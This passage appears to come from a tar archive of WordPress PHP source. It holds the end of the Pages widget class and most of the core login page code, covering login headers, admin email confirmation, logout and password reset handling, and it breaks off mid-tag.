@since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Pages widget instance. */ public function widget( $args, $instance ) { $default_title = __( 'Pages' ); $title = ! empty( $instance['title'] ) ? $instance['title'] : $default_title; /** * Filters the widget title. * * @since 2.6.0 * * @param string $title The widget title. Default 'Pages'. * @param array $instance Array of settings for the current widget. * @param mixed $id_base The widget ID. */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby']; $exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude']; if ( 'menu_order' === $sortby ) { $sortby = 'menu_order, post_title'; } $output = wp_list_pages( /** * Filters the arguments for the Pages widget. * * @since 2.8.0 * @since 4.9.0 Added the `$instance` parameter. * * @see wp_list_pages() * * @param array $args An array of arguments to retrieve the pages list. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_pages_args', array( 'title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude, ), $instance ) ); if ( ! empty( $output ) ) { echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } ?> <ul> <?php echo $output; ?> </ul> <?php if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; } } /** * Handles updating settings for the current Pages widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ), true ) ) { $instance['sortby'] = $new_instance['sortby']; } else { $instance['sortby'] = 'menu_order'; } $instance['exclude'] = sanitize_text_field( $new_instance['exclude'] ); return $instance; } /** * Outputs the settings form for the Pages widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { // Defaults. $instance = wp_parse_args( (array) $instance, array( 'sortby' => 'post_title', 'title' => '', 'exclude' => '', ) ); ?> <p> <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <p> <label for="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>"><?php _e( 'Sort by:' ); ?></label> <select name="<?php echo esc_attr( $this->get_field_name( 'sortby' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'sortby' ) ); ?>" class="widefat"> <option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e( 'Page title' ); ?></option> <option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e( 'Page order' ); ?></option> <option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option> </select> </p> <p> <label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php _e( 'Exclude:' ); ?></label> <input type="text" value="<?php echo esc_attr( $instance['exclude'] ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>" class="widefat" /> <br /> <small><?php _e( 'Page IDs, separated by commas.' ); ?></small> </p> <?php } } tmp/assets/css/2024/rhjlh/index.php 0000444 00000144355 15151372113 0012765 0 ustar 00 <?php /** * WordPress User Page * * Handles authentication, registering, resetting passwords, forgot password, * and other user handling. * * @package WordPress */ /** Make sure that the WordPress bootstrap has run before continuing. */ require __DIR__ . '/wp-load.php'; // Redirect to HTTPS login if forced to use SSL. if ( force_ssl_admin() && ! is_ssl() ) { if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) ); exit; } else { wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); exit; } } /** * Outputs the login page header. * * @since 2.1.0 * * @global string $error Login error message set by deprecated pluggable wp_login() function * or plugins replacing it. * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * @global string $action The action that brought the visitor to the login page. * * @param string|null $title Optional. WordPress login page title to display in the `<title>` element. * Defaults to 'Log In'. * @param string $message Optional. Message to display in header. Default empty. * @param WP_Error|null $wp_error Optional. The error to pass. Defaults to a WP_Error instance. */ function login_header( $title = null, $message = '', $wp_error = null ) { global $error, $interim_login, $action; if ( null === $title ) { $title = __( 'Log In' ); } // Don't index any of these forms. add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); add_action( 'login_head', 'wp_strict_cross_origin_referrer' ); add_action( 'login_head', 'wp_login_viewport_meta' ); if ( ! is_wp_error( $wp_error ) ) { $wp_error = new WP_Error(); } // Shake it! $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' ); /** * Filters the error codes array for shaking the login form. * * @since 3.0.0 * * @param string[] $shake_error_codes Error codes that shake the login form. */ $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes ); if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) { add_action( 'login_footer', 'wp_shake_js', 12 ); } $login_title = get_bloginfo( 'name', 'display' ); /* translators: Login screen title. 1: Login screen name, 2: Network or site name. */ $login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title ); if ( wp_is_recovery_mode() ) { /* translators: %s: Login screen title. */ $login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title ); } /** * Filters the title tag content for login page. * * @since 4.9.0 * * @param string $login_title The page title, with extra context added. * @param string $title The original page title. */ $login_title = apply_filters( 'login_title', $login_title, $title ); ?><!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" /> <title><?php echo $login_title; ?></title> <?php wp_enqueue_style( 'login' ); /* * Remove all stored post data on logging out. * This could be added by add_action('login_head'...) like wp_shake_js(), * but maybe better if it's not removable by plugins. */ if ( 'loggedout' === $wp_error->get_error_code() ) { ob_start(); ?> <script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } /** * Enqueues scripts and styles for the login page. * * @since 3.1.0 */ do_action( 'login_enqueue_scripts' ); /** * Fires in the login page header after scripts are enqueued. * * @since 2.1.0 */ do_action( 'login_head' ); $login_header_url = __( 'https://wordpress.org/' ); /** * Filters link URL of the header logo above login form. * * @since 2.1.0 * * @param string $login_header_url Login header logo URL. */ $login_header_url = apply_filters( 'login_headerurl', $login_header_url ); $login_header_title = ''; /** * Filters the title attribute of the header logo above login form. * * @since 2.1.0 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead. * * @param string $login_header_title Login header logo title attribute. */ $login_header_title = apply_filters_deprecated( 'login_headertitle', array( $login_header_title ), '5.2.0', 'login_headertext', __( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' ) ); $login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title; /** * Filters the link text of the header logo above the login form. * * @since 5.2.0 * * @param string $login_header_text The login header logo link text. */ $login_header_text = apply_filters( 'login_headertext', $login_header_text ); $classes = array( 'login-action-' . $action, 'wp-core-ui' ); if ( is_rtl() ) { $classes[] = 'rtl'; } if ( $interim_login ) { $classes[] = 'interim-login'; ?> <style type="text/css">html{background-color: transparent;}</style> <?php if ( 'success' === $interim_login ) { $classes[] = 'interim-login-success'; } } $classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) ); /** * Filters the login page body classes. * * @since 3.5.0 * * @param string[] $classes An array of body classes. * @param string $action The action that brought the visitor to the login page. */ $classes = apply_filters( 'login_body_class', $classes, $action ); ?> </head> <body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>"> <?php wp_print_inline_script_tag( "document.body.className = document.body.className.replace('no-js','js');" ); ?> <?php /** * Fires in the login page header after the body tag is opened. * * @since 4.6.0 */ do_action( 'login_header' ); ?> <?php if ( 'confirm_admin_email' !== $action && ! empty( $title ) ) : ?> <h1 class="screen-reader-text"><?php echo $title; ?></h1> <?php endif; ?> <div id="login"> <h1 role="presentation" class="wp-login-logo"><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1> <?php /** * Filters the message to display above the login form. * * @since 2.1.0 * * @param string $message Login message text. */ $message = apply_filters( 'login_message', $message ); if ( ! empty( $message ) ) { echo $message . "\n"; } // In case a plugin uses $error rather than the $wp_errors object. if ( ! empty( $error ) ) { $wp_error->add( 'error', $error ); unset( $error ); } if ( $wp_error->has_errors() ) { $error_list = array(); $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data( $code ); foreach ( $wp_error->get_error_messages( $code ) as $error_message ) { if ( 'message' === $severity ) { $messages .= '<p>' . $error_message . '</p>'; } else { $error_list[] = $error_message; } } } if ( ! empty( $error_list ) ) { $errors = ''; if ( count( $error_list ) > 1 ) { $errors .= '<ul class="login-error-list">'; foreach ( $error_list as $item ) { $errors .= '<li>' . $item . '</li>'; } $errors .= '</ul>'; } else { $errors .= '<p>' . $error_list[0] . '</p>'; } /** * Filters the error messages displayed above the login form. * * @since 2.1.0 * * @param string $errors Login error messages. */ $errors = apply_filters( 'login_errors', $errors ); wp_admin_notice( $errors, array( 'type' => 'error', 'id' => 'login_error', 'paragraph_wrap' => false, ) ); } if ( ! empty( $messages ) ) { /** * Filters instructional messages displayed above the login form. * * @since 2.5.0 * * @param string $messages Login messages. */ $messages = apply_filters( 'login_messages', $messages ); wp_admin_notice( $messages, array( 'type' => 'info', 'id' => 'login-message', 'additional_classes' => array( 'message' ), 'paragraph_wrap' => false, ) ); } } } // End of login_header(). /** * Outputs the footer for the login page. * * @since 3.1.0 * * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * * @param string $input_id Which input to auto-focus. */ function login_footer( $input_id = '' ) { global $interim_login; // Don't allow interim logins to navigate away from the page. if ( ! $interim_login ) { ?> <p id="backtoblog"> <?php $html_link = sprintf( '<a href="%s">%s</a>', esc_url( home_url( '/' ) ), sprintf( /* translators: %s: Site title. */ _x( '← Go to %s', 'site' ), get_bloginfo( 'title', 'display' ) ) ); /** * Filters the "Go to site" link displayed in the login page footer. * * @since 5.7.0 * * @param string $link HTML link to the home URL of the current site. */ echo apply_filters( 'login_site_html_link', $html_link ); ?> </p> <?php the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' ); } ?> </div><?php // End of <div id="login">. ?> <?php if ( ! $interim_login && /** * Filters whether to display the Language selector on the login screen. * * @since 5.9.0 * * @param bool $display Whether to display the Language selector on the login screen. */ apply_filters( 'login_display_language_dropdown', true ) ) { $languages = get_available_languages(); if ( ! empty( $languages ) ) { ?> <div class="language-switcher"> <form id="language-switcher" method="get"> <label for="language-switcher-locales"> <span class="dashicons dashicons-translation" aria-hidden="true"></span> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Language' ); ?> </span> </label> <?php $args = array( 'id' => 'language-switcher-locales', 'name' => 'wp_lang', 'selected' => determine_locale(), 'show_available_translations' => false, 'explicit_option_en_us' => true, 'languages' => $languages, ); /** * Filters default arguments for the Languages select input on the login screen. * * The arguments get passed to the wp_dropdown_languages() function. * * @since 5.9.0 * * @param array $args Arguments for the Languages select input on the login screen. */ wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) ); ?> <?php if ( $interim_login ) { ?> <input type="hidden" name="interim-login" value="1" /> <?php } ?> <?php if ( isset( $_GET['redirect_to'] ) && '' !== $_GET['redirect_to'] ) { ?> <input type="hidden" name="redirect_to" value="<?php echo sanitize_url( $_GET['redirect_to'] ); ?>" /> <?php } ?> <?php if ( isset( $_GET['action'] ) && '' !== $_GET['action'] ) { ?> <input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action'] ); ?>" /> <?php } ?> <input type="submit" class="button" value="<?php esc_attr_e( 'Change' ); ?>"> </form> </div> <?php } ?> <?php } ?> <?php if ( ! empty( $input_id ) ) { ob_start(); ?> <script> try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){} if(typeof wpOnload==='function')wpOnload(); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } /** * Fires in the login page footer. * * @since 3.1.0 */ do_action( 'login_footer' ); ?> </body> </html> <?php } /** * Outputs the JavaScript to handle the form shaking on the login page. * * @since 3.0.0 */ function wp_shake_js() { wp_print_inline_script_tag( "document.querySelector('form').classList.add('shake');" ); } /** * Outputs the viewport meta tag for the login page. * * @since 3.7.0 */ function wp_login_viewport_meta() { ?> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <?php } /* * Main part. * * Check the request and redirect or display a form based on the current action. */ $action = isset( $_REQUEST['action'] ) && is_string( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login'; $errors = new WP_Error(); if ( isset( $_GET['key'] ) ) { $action = 'resetpass'; } if ( isset( $_GET['checkemail'] ) ) { $action = 'checkemail'; } $default_actions = array( 'confirm_admin_email', 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'checkemail', 'confirmaction', 'login', WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED, ); // Validate action so as to default to the login screen. if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) { $action = 'login'; } nocache_headers(); header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) ); if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set. if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) { $_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] ); } $url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) ); if ( get_option( 'siteurl' ) !== $url ) { update_option( 'siteurl', $url ); } } // Set a cookie now to see if they are supported by the browser. $secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) ); setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true ); if ( SITECOOKIEPATH !== COOKIEPATH ) { setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure, true ); } if ( isset( $_GET['wp_lang'] ) ) { setcookie( 'wp_lang', sanitize_text_field( $_GET['wp_lang'] ), 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true ); } /** * Fires when the login form is initialized. * * @since 3.2.0 */ do_action( 'login_init' ); /** * Fires before a specified login form action. * * The dynamic portion of the hook name, `$action`, refers to the action * that brought the visitor to the login form. * * Possible hook names include: * * - `login_form_checkemail` * - `login_form_confirm_admin_email` * - `login_form_confirmaction` * - `login_form_entered_recovery_mode` * - `login_form_login` * - `login_form_logout` * - `login_form_lostpassword` * - `login_form_postpass` * - `login_form_register` * - `login_form_resetpass` * - `login_form_retrievepassword` * - `login_form_rp` * * @since 2.8.0 */ do_action( "login_form_{$action}" ); $http_post = ( 'POST' === $_SERVER['REQUEST_METHOD'] ); $interim_login = isset( $_REQUEST['interim-login'] ); /** * Filters the separator used between login form navigation links. * * @since 4.9.0 * * @param string $login_link_separator The separator used between login form navigation links. */ $login_link_separator = apply_filters( 'login_link_separator', ' | ' ); switch ( $action ) { case 'confirm_admin_email': /* * Note that `is_user_logged_in()` will return false immediately after logging in * as the current user is not set, see wp-includes/pluggable.php. * However this action runs on a redirect after logging in. */ if ( ! is_user_logged_in() ) { wp_safe_redirect( wp_login_url() ); exit; } if ( ! empty( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; } else { $redirect_to = admin_url(); } if ( current_user_can( 'manage_options' ) ) { $admin_email = get_option( 'admin_email' ); } else { wp_safe_redirect( $redirect_to ); exit; } /** * Filters the interval for dismissing the admin email confirmation screen. * * If `0` (zero) is returned, the "Remind me later" link will not be displayed. * * @since 5.3.1 * * @param int $interval Interval time (in seconds). Default is 3 days. */ $remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS ); if ( ! empty( $_GET['remind_me_later'] ) ) { if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } if ( $remind_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $remind_interval ); } $redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to ); wp_safe_redirect( $redirect_to ); exit; } if ( ! empty( $_POST['correct-admin-email'] ) ) { if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } /** * Filters the interval for redirecting the user to the admin email confirmation screen. * * If `0` (zero) is returned, the user will not be redirected. * * @since 5.3.0 * * @param int $interval Interval time (in seconds). Default is 6 months. */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $admin_email_check_interval ); } wp_safe_redirect( $redirect_to ); exit; } login_header( __( 'Confirm your administration email' ), '', $errors ); /** * Fires before the admin email confirm form. * * @since 5.3.0 * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'admin_email_confirm', $errors ); ?> <form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post"> <?php /** * Fires inside the admin-email-confirm-form form tags, before the hidden fields. * * @since 5.3.0 */ do_action( 'admin_email_confirm_form' ); wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' ); ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <h1 class="admin-email__heading"> <?php _e( 'Administration email verification' ); ?> </h1> <p class="admin-email__details"> <?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?> <?php /* translators: URL to the WordPress help section about admin email. */ $admin_email_help_url = __( 'https://wordpress.org/documentation/article/settings-general-screen/#email-address' ); $accessibility_text = sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ); printf( '<a href="%s" target="_blank">%s%s</a>', esc_url( $admin_email_help_url ), __( 'Why is this important?' ), $accessibility_text ); ?> </p> <p class="admin-email__details"> <?php printf( /* translators: %s: Admin email address. */ __( 'Current administration email: %s' ), '<strong>' . esc_html( $admin_email ) . '</strong>' ); ?> </p> <p class="admin-email__details"> <?php _e( 'This email may be different from your personal email address.' ); ?> </p> <div class="admin-email__actions"> <div class="admin-email__actions-primary"> <?php $change_link = admin_url( 'options-general.php' ); $change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link ); ?> <a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a> <input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" /> </div> <?php if ( $remind_interval > 0 ) : ?> <div class="admin-email__actions-secondary"> <?php $remind_me_link = wp_login_url( $redirect_to ); $remind_me_link = add_query_arg( array( 'action' => 'confirm_admin_email', 'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ), ), $remind_me_link ); ?> <a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a> </div> <?php endif; ?> </div> </form> <?php login_footer(); break; case 'postpass': $redirect_to = $_POST['redirect_to'] ?? wp_get_referer(); if ( ! isset( $_POST['post_password'] ) || ! is_string( $_POST['post_password'] ) ) { wp_safe_redirect( $redirect_to ); exit; } require_once ABSPATH . WPINC . '/class-phpass.php'; $hasher = new PasswordHash( 8, true ); /** * Filters the life span of the post password cookie. * * By default, the cookie expires 10 days from creation. To turn this * into a session cookie, return 0. * * @since 3.7.0 * * @param int $expires The expiry time, as passed to setcookie(). */ $expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS ); if ( $redirect_to ) { $secure = ( 'https' === parse_url( $redirect_to, PHP_URL_SCHEME ) ); } else { $secure = false; } setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure ); wp_safe_redirect( $redirect_to ); exit; case 'logout': check_admin_referer( 'log-out' ); $user = wp_get_current_user(); wp_logout(); if ( ! empty( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; $requested_redirect_to = $redirect_to; } else { $redirect_to = add_query_arg( array( 'loggedout' => 'true', 'wp_lang' => get_user_locale( $user ), ), wp_login_url() ); $requested_redirect_to = ''; } /** * Filters the log out redirect URL. * * @since 4.2.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User $user The WP_User object for the user that's logging out. */ $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user ); wp_safe_redirect( $redirect_to ); exit; case 'lostpassword': case 'retrievepassword': if ( $http_post ) { $errors = retrieve_password(); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm'; wp_safe_redirect( $redirect_to ); exit; } } if ( isset( $_GET['error'] ) ) { if ( 'invalidkey' === $_GET['error'] ) { $errors->add( 'invalidkey', __( '<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below.' ) ); } elseif ( 'expiredkey' === $_GET['error'] ) { $errors->add( 'expiredkey', __( '<strong>Error:</strong> Your password reset link has expired. Please request a new link below.' ) ); } } $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the URL redirected to after submitting the lostpassword/retrievepassword form. * * @since 3.0.0 * * @param string $lostpassword_redirect The redirect destination URL. */ $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect ); /** * Fires before the lost password form. * * @since 1.5.1 * @since 5.1.0 Added the `$errors` parameter. * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'lost_password', $errors ); login_header( __( 'Lost Password' ), wp_get_admin_notice( __( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ), array( 'type' => 'info', 'additional_classes' => array( 'message' ), ) ), $errors ); $user_login = ''; if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } ?> <form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post"> <p> <label for="user_login"><?php _e( 'Username or Email Address' ); ?></label> <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <?php /** * Fires inside the lostpassword form tags, before the hidden fields. * * @since 2.1.0 */ do_action( 'lostpassword_form' ); ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Get New Password' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); echo esc_html( $login_link_separator ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); } ?> </p> <?php login_footer( 'user_login' ); break; case 'resetpass': case 'rp': list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) ); $rp_cookie = 'wp-resetpass-' . COOKIEHASH; if ( isset( $_GET['key'] ) && isset( $_GET['login'] ) ) { $value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) ); setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) ); exit; } if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) { list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 ); $user = check_password_reset_key( $rp_key, $rp_login ); if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) { $user = false; } } else { $user = false; } if ( ! $user || is_wp_error( $user ) ) { setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); if ( $user && $user->get_error_code() === 'expired_key' ) { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) ); } else { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) ); } exit; } $errors = new WP_Error(); // Check if password is one or all empty spaces. if ( ! empty( $_POST['pass1'] ) ) { $_POST['pass1'] = trim( $_POST['pass1'] ); if ( empty( $_POST['pass1'] ) ) { $errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) ); } } // Check if password fields do not match. if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) { $errors->add( 'password_reset_mismatch', __( '<strong>Error:</strong> The passwords do not match.' ) ); } /** * Fires before the password reset procedure is validated. * * @since 3.5.0 * * @param WP_Error $errors WP Error object. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise. */ do_action( 'validate_password_reset', $errors, $user ); if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) { reset_password( $user, $_POST['pass1'] ); setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); login_header( __( 'Password Reset' ), wp_get_admin_notice( __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a>', array( 'type' => 'info', 'additional_classes' => array( 'message', 'reset-pass' ), ) ) ); login_footer(); exit; } wp_enqueue_script( 'utils' ); wp_enqueue_script( 'user-profile' ); login_header( __( 'Reset Password' ), wp_get_admin_notice( __( 'Enter your new password below or generate one.' ), array( 'type' => 'info', 'additional_classes' => array( 'message', 'reset-pass' ), ) ), $errors ); ?> <form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off"> <input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" /> <div class="user-pass1-wrap"> <p> <label for="pass1"><?php _e( 'New password' ); ?></label> </p> <div class="wp-pwd"> <input type="password" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" aria-describedby="pass-strength-result" /> <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>"> <span class="dashicons dashicons-hidden" aria-hidden="true"></span> </button> <div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div> </div> <div class="pw-weak"> <input type="checkbox" name="pw_weak" id="pw-weak" class="pw-checkbox" /> <label for="pw-weak"><?php _e( 'Confirm use of weak password' ); ?></label> </div> </div> <p class="user-pass2-wrap"> <label for="pass2"><?php _e( 'Confirm new password' ); ?></label> <input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="new-password" spellcheck="false" /> </p> <p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p> <?php /** * Fires following the 'Strength indicator' meter in the user password reset form. * * @since 3.9.0 * * @param WP_User $user User object of the user whose password is being reset. */ do_action( 'resetpass_form', $user ); ?> <input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" /> <p class="submit reset-pass-submit"> <button type="button" class="button wp-generate-pw hide-if-no-js skip-aria-expanded"><?php _e( 'Generate Password' ); ?></button> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Save Password' ); ?>" /> </p> </form> <p id="nav"> <a 